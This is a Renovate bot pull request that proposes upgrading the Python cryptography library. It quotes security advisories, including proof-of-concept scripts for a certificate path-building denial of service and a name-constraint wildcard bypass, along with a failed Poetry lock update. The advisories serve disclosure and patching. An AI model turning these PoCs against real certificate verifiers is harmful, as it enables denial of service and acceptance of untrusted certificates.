Skip to content

fix(deps): update dependency cryptography to v49 [security] - #42

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-cryptography-vulnerability
Open

fix(deps): update dependency cryptography to v49 [security]#42
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-cryptography-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 11, 2025

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
cryptography (changelog)^43.0.0^49.0.0ageconfidence
cryptography (changelog)==43.0.1==49.0.0ageconfidence

Vulnerable OpenSSL included in cryptography wheels

CVE-2024-12797 / GHSA-79v4-65xg-pq4g

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 42.0.0-44.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20250211.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

Low

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves

CVE-2026-26007 / GHSA-r6ph-v2qm-q3c2

More information

Details

Vulnerability Summary

The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

Only SECT curves are impacted by this.

Credit

This vulnerability was discovered by:

  • XlabAI Team of Tencent Xuanwu Lab
  • Atuin Automated Vulnerability Discovery Engine

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


cryptography has incomplete DNS name constraint enforcement on peer names

CVE-2026-34073 / GHSA-m959-cc7f-wv43

More information

Details

Summary

In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com.

This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.

In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.

See CVE-2025-61727 for a similar bypass in Go's crypto/x509.

Remediation

Users should upgrade to 46.0.6 or newer.

Attribution

Reporter: @​1seal

Severity

  • CVSS Score: 1.7 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Vulnerable OpenSSL included in cryptography wheels

GHSA-537c-gmf6-5ccf

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

fnbuild_chain_inner(
&self,
working_cert: &VerificationCertificate<'chain, B>,
current_depth: u8,
working_cert_extensions: &Extensions<'chain>,
name_chain: NameChain<'_, 'chain>,
budget: &mutBudget,
) ->ValidationResult<'chain, Chain<'chain, B>, B> {
ifletSome(nc) =working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
name_chain.evaluate_constraints(&nc.value()?, budget)?;
}
//Lookinthestore'srootsettoseeiftheworkingcertislisted.
//Ifitis, we'vereachedtheend.
ifself.store.contains(working_cert) {
returnOk(vec![working_cert.clone()]);
}
//Checkthatourcurrentdepthdoesnotexceedourpolicy-configured//maxdepth. Wedothisaftertherootsetcheck, sincethedepth//onlymeasurestheintermediatechain'slength, nottherootorleaf.
ifcurrent_depth>self.policy.max_chain_depth {
returnErr(ValidationError::new(ValidationErrorKind::Other(
"chain construction exceeds max depth".into(),
)));
}
//Otherwise, wecollectalistofpotentialissuersforthiscert,
//andcontinuewiththefirstthatverifies.
letmutlast_err: Option<ValidationError<'_, B>>=None;
forissuing_cert_candidateinself.potential_issuers(working_cert) {
//Acandidateissuerissaidtoverifyifitboth//signsfortheworkingcertificateandconformstothe//policy.
letissuer_extensions=issuing_cert_candidate.certificate().extensions()?;
matchself.policy.valid_issuer(
issuing_cert_candidate,
working_cert,
current_depth,
&issuer_extensions,
) {
Ok(_) => {
matchself.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

letmut seen_valid_issuers = Vec::<&VerificationCertificate<'chain,B>>::new();for issuing_cert_candidate inself.potential_issuers(working_cert){...Ok(_) => {if seen_valid_issuers.contains(&issuing_cert_candidate){continue;}
seen_valid_issuers.push(issuing_cert_candidate);matchself.build_chain_inner(
issuing_cert_candidate,// NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s, -> 4,8,rejected,0.002410
5,7,timeout>5s, -> 5,7,rejected,0.002640
6,6,timeout>5s, -> 6,6,rejected,0.002829
PoC

The following script benchmarks processing times for malicious cert chains.

importdatetimeimportmultiprocessingimporttimeimportcryptographyfromcryptographyimportx509fromcryptography.hazmat.primitivesimporthashesfromcryptography.hazmat.primitives.asymmetricimportecfromcryptography.x509.oidimportExtendedKeyUsageOID, NameOIDfromcryptography.x509.verificationimport (
DNSName,
PolicyBuilder,
Store,
VerificationError,
)
NOW=datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT=5CA_KEY_USAGE=x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True,
crl_sign=True,
encipher_only=False,
decipher_only=False,
)
EE_KEY_USAGE=x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=False,
crl_sign=False,
encipher_only=False,
decipher_only=False,
)
defname(common_name):
returnx509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])
defbase_builder(subject, issuer, public_key, serial):
return (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(public_key)
.serial_number(serial)
.not_valid_before(NOW-datetime.timedelta(days=1))
.not_valid_after(NOW+datetime.timedelta(days=30))
)
defmake_ca(common_name, serial):
private_key=ec.generate_private_key(ec.SECP256R1())
subject=name(common_name)
cert= (
base_builder(subject, subject, private_key.public_key(), serial)
.add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
.add_extension(CA_KEY_USAGE, True)
.add_extension(
x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
False,
)
.sign(private_key, hashes.SHA256())
)
returnprivate_key, certdefmake_leaf(issuer_key, issuer_cert):
private_key=ec.generate_private_key(ec.SECP256R1())
return (
base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
.add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
.add_extension(EE_KEY_USAGE, True)
.add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
False,
)
.add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
.sign(issuer_key, hashes.SHA256())
)
defbuild_material():
looping_key, looping_ca=make_ca("looping self-signed CA", 1)
_, unrelated_root=make_ca("unrelated trust anchor", 2)
leaf=make_leaf(looping_key, looping_ca)
returnleaf, looping_ca, unrelated_rootdefverify_case(duplicates, max_depth, queue):
leaf, looping_ca, unrelated_root=build_material()
verifier= (
PolicyBuilder()
.store(Store([unrelated_root]))
.time(NOW)
.max_chain_depth(max_depth)
.build_server_verifier(DNSName("example.com"))
)
start=time.perf_counter()
try:
verifier.verify(leaf, [looping_ca] *duplicates)
result="accepted"exceptVerificationError:
result="rejected"queue.put((result, time.perf_counter() -start))
defrun_case(duplicates, max_depth):
queue=multiprocessing.Queue()
process=multiprocessing.Process(
target=verify_case,
args=(duplicates, max_depth, queue),
)
process.start()
process.join(TIMEOUT)
ifprocess.is_alive():
process.terminate()
process.join()
print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
returnresult, elapsed=queue.get()
print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")
if__name__=="__main__":
print("duplicates,max_depth,result,seconds")
forcasein [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
run_case(*case)
Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.
Setup:
Sub-CA permitted constraint: dNSName = foo.example.com
Leaf SAN: dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)
now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)
def build(subject, issuer, key, issuer_key, ca, exts=()):
b = (x509.CertificateBuilder()
.subject_name(subject).issuer_name(issuer)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - 30 * day)
.not_valid_after(now + 3650 * day)
.add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
for e, c in exts:
b = b.add_extension(e, c)
return b.sign(issuer_key, hashes.SHA256())
##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)
##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
permitted_subtrees=[x509.DNSName("foo.example.com")],
excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])
##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])
##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
PolicyBuilder()
.store(Store([root]))
.time(now)
.extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
.build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
v.verify(leaf, [sub])
print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
print(f"EXPECTED: VerificationError: {e}")
Impact

Acceptance of invalid certificate chain.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

pyca/cryptography (cryptography)

v49.0.0

Compare Source

v48.0.1

Compare Source

v48.0.0

Compare Source

v47.0.0

Compare Source

v46.0.7

Compare Source

v46.0.6

Compare Source

v46.0.5

Compare Source

v46.0.4

Compare Source

v46.0.3

Compare Source

v46.0.2

Compare Source

v46.0.1

Compare Source

v46.0.0

Compare Source

v45.0.7

Compare Source

v45.0.6

Compare Source

v45.0.5

Compare Source

v45.0.4

Compare Source

v45.0.3

Compare Source

v45.0.2

Compare Source

v45.0.1

Compare Source

v45.0.0

Compare Source

v44.0.3

Compare Source

v44.0.2

Compare Source

v44.0.1

Compare Source

v44.0.0

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate

renovateBot commented Feb 11, 2025

Copy link
Copy Markdown
ContributorAuthor

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: poetry.lock
Updating dependencies
Resolving dependencies...
The current project's supported Python range (>=3.8,<4.0) is not compatible with some of the required packages Python requirement:
- cryptography requires Python !=3.9.0,!=3.9.1,>=3.9, so it will not be satisfied for Python >=3.8,<=3.9.0 || 3.9.1
Because no versions of cryptography match >49.0.0,<50.0.0
and cryptography (49.0.0) requires Python !=3.9.0,!=3.9.1,>=3.9, cryptography is forbidden.
So, because encryption-helper depends on cryptography (^49.0.0), version solving failed.
• Check your dependencies Python requirement: The Python requirement can be specified via the `python` or `markers` properties
For cryptography, a possible solution would be to set the `python` property to ">3.9.0,<3.9.1 || >3.9.1,<4.0"
https://python-poetry.org/docs/dependency-specification/#python-restricted-dependencies,
https://python-poetry.org/docs/dependency-specification/#using-environment-markers

@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v44 [security]fix(deps): update dependency cryptography to v44 [security] - autoclosedMay 30, 2025
@renovaterenovateBot closed this May 30, 2025
@renovate
renovateBot deleted the renovate/pypi-cryptography-vulnerability branch May 30, 2025 14:12
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v44 [security] - autoclosedfix(deps): update dependency cryptography to v44 [security]May 30, 2025
@renovaterenovateBot reopened this May 30, 2025
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from c7cbd57 to 1c9ef1cCompareMay 30, 2025 19:20
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 1c9ef1c to 0c4b478CompareAugust 10, 2025 13:56
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 0c4b478 to 02cd109CompareSeptember 22, 2025 11:45
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 02cd109 to 6794be2CompareNovember 18, 2025 17:16
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 6794be2 to f21dedaCompareDecember 5, 2025 17:08
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v44 [security]fix(deps): update dependency cryptography to v46 [security]Dec 5, 2025
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from f21deda to 6a41668CompareDecember 5, 2025 21:40
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v46 [security]fix(deps): update dependency cryptography to v44 [security]Dec 5, 2025
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 6a41668 to a38c91bCompareDecember 15, 2025 16:42
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from a38c91b to f399840CompareDecember 23, 2025 20:50
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v44 [security]fix(deps): update dependency cryptography to v46 [security]Dec 23, 2025
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from f399840 to 8606605CompareDecember 24, 2025 00:35
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v46 [security]fix(deps): update dependency cryptography to v44 [security]Dec 24, 2025
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 8606605 to 3626ee5CompareDecember 30, 2025 15:02
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 3626ee5 to 8306bd0CompareFebruary 11, 2026 04:45
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v44 [security]fix(deps): update dependency cryptography to v46 [security]Feb 11, 2026
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v46 [security]fix(deps): update dependency cryptography to v46 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v46 [security] - autoclosedchore(deps): update dependency cryptography to v46 [security]Mar 28, 2026
@renovaterenovateBot reopened this Mar 28, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch 3 times, most recently from 8b4db0e to f55cd76CompareMarch 28, 2026 21:56
@renovaterenovateBot changed the title chore(deps): update dependency cryptography to v46 [security]fix(deps): update dependency cryptography to v46 [security]Mar 28, 2026
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v46 [security]fix(deps): update dependency cryptography to v46 [security] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v46 [security] - autoclosedfix(deps): update dependency cryptography to v46 [security]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch 2 times, most recently from f55cd76 to 0748b0fCompareApril 27, 2026 22:01
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 0748b0f to cfcdc04CompareMay 5, 2026 17:36
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v46 [security]fix(deps): update dependency cryptography to v48 [security]May 5, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from cfcdc04 to 43ac078CompareMay 5, 2026 22:05
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v48 [security]fix(deps): update dependency cryptography to v46 [security]May 5, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 43ac078 to 08dfe34CompareMay 12, 2026 12:15
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v46 [security]fix(deps): update dependency cryptography to v48 [security]May 13, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 08dfe34 to 7293311CompareMay 13, 2026 10:37
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v48 [security]fix(deps): update dependency cryptography to v46 [security]May 13, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch 2 times, most recently from 2ecd63c to f706ba3CompareMay 14, 2026 17:11
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from f706ba3 to 9742bffCompareJune 1, 2026 04:06
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v46 [security]fix(deps): update dependency cryptography to v48 [security]Jun 1, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 9742bff to 4223dd3CompareJune 1, 2026 23:01
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v48 [security]fix(deps): update dependency cryptography to v46 [security]Jun 1, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 4223dd3 to b0d5249CompareJune 18, 2026 22:08
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v46 [security]fix(deps): update dependency cryptography to v48 [security]Jun 18, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from b0d5249 to 2bfe7caCompareJune 22, 2026 21:11
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v48 [security]fix(deps): update dependency cryptography to v49 [security]Jun 22, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 2bfe7ca to 35824efCompareJune 23, 2026 01:02
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v49 [security]fix(deps): update dependency cryptography to v48 [security]Jun 23, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 35824ef to 336f884CompareJuly 12, 2026 15:09
@renovate
renovateBotforce-pushed the renovate/pypi-cryptography-vulnerability branch from 336f884 to 9942e73CompareAugust 5, 2026 06:00
@renovaterenovateBot changed the title fix(deps): update dependency cryptography to v48 [security]fix(deps): update dependency cryptography to v49 [security]Aug 5, 2026
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants